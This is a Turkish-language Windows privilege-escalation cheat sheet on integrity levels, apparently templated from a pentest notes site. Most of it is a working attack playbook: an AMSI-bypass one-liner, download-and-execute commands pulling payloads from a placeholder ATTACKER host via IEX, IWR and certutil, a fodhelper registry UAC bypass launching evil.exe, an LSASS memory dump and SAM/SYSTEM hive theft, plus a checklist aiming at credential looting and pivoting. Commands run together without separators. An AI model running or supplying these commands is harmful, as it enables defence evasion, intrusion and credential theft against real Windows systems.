Integrity Levels
windows privesc
Integrity Levels Windows privesc, credential veya yanal hareket notudur. Token/servis/DLL/AD yüzeyini haritalayıp SYSTEM veya domain etkisi doğrula.
Metodoloji
Section titled “Metodoloji”-
whoami /all, priv, UAC bütünlüğü ve AV durumunu kilitle.
-
Integrity Levelsiçin servis/DLL/token/AD hipotezini enum ile destekle. -
Yükseltme veya lateral PoC’yi çalıştırıp etkiyi kanıtla.
-
LSASS/SAM/DPAPI veya domain loot paketle.
Integrity Levels Windows saldırı notudur. Önce token, bütünlük seviyesi, AV ve yerel grup haritasını çıkar.
whoami /allsysteminfowhoami /privnet user; net localgroup administratorshostname & ipconfig /allGet-LocalGroupMember Administrators -ErrorAction SilentlyContinueGet-MpComputerStatus | Select AMServiceEnabled,RealTimeProtectionEnablednetstat -anoGet-Service | ? Status -eq Running | Select Name,DisplayNameUAC / bütünlük / execution
Section titled “UAC / bütünlük / execution”Medium→High UAC bypass ve AMSI/ETW kaçışı execution zincirinin parçasıdır.
whoami /groups | findstr LevelGet-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System[Environment]::OSVersion.Version[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/a.ps1')fodhelper.exe # HKCU ms-settings\shell\open\commandeventvwr.exereg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "C:\temp\evil.exe" /fOtomatik enum
Section titled “Otomatik enum”winPEASx64.exe quietaccesschk.exe /accepteula -uwcqv users *Import-Module .\PowerUp.ps1; Invoke-AllChecksGet-ChildItem C:\ -Recurse -Include *.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern 'password|pwd|connectionstring' | Select -First 30Yükseltme / erişim sonrası
Section titled “Yükseltme / erişim sonrası”dir C:\Users\Administrator\Desktopdir C:\Users\*\Documents,C:\Users\*\Desktop -ErrorAction SilentlyContinueGet-ChildItem -Force C:\ -Include *.kdbx,*.pfx,*.key -Recurse -ErrorAction SilentlyContinue | Select -First 30procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmpreg save HKLM\SAM C:\temp\sam.save & reg save HKLM\SYSTEM C:\temp\sys.saveManuel doğrulama
Section titled “Manuel doğrulama”# Integrity Levels — varyant 62Get-ChildItem C:\Users -Force | Format-Table Name,ModeGet-ScheduledTask | ? State -eq Ready | Select TaskName,TaskPathGet-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\* | ? ImagePath -match ' ' | Select PSChildName,ImagePathfindstr /si password *.xml *.ini *.txt *.config 2>$null | Select -First 20Get-Acl C:\ProgramData | Format-Listqwinsta; quserwmic product get name,versiondir /a C:\ProgramData\Microsoft\Windows\Start\ Menu\Programs\Startupcmdkey /listTransfer / execution
Section titled “Transfer / execution”IWR -Uri http://ATTACKER/a.exe -OutFile C:\Users\Public\a.execertutil -urlcache -split -f http://ATTACKER/a.exe C:\Users\Public\a.exeStart-Process C:\Users\Public\a.exeChecklist
Section titled “Checklist”[ ] whoami /priv ve gruplar alındı[ ] Servis/DLL/registry/token yüzeyi tarandı[ ] Privesc veya lateral PoC doğrulandı[ ] Credential dump / loot paketlendi[ ] Sonraki pivot not edildiNotlar
Section titled “Notlar”Integrity Levels sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.